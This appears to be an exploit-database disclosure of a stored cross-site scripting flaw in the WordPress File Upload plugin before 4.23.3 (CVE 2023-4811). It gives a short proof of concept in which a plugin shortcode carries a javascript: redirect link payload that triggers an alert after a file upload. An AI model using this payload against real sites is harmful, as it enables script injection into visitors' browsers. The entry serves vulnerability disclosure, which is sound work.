WordPress File Upload Plugin < 4.23.3 - Stored XSS

Exploit Title: WordPress File Upload < 4.23.3 Stored XSS (CVE 2023-4811)
Date: 18 December 2023
Exploit Author: Faiyaz Ahmad
Vendor Homepage: https://wordpress.com/
Version: 4.23.3
CVE : CVE 2023-4811

Proof Of Concept:

1. Login to the wordpress account

2. Add the following shortcode to a post in "File Upload Plugin":

[wordpress_file_upload redirect="true" redirectlink="*javascript:alert(1)*"]

3. Upload any file on the resulting post.
4. After the upload completes, you will see the XSS alert in the browser.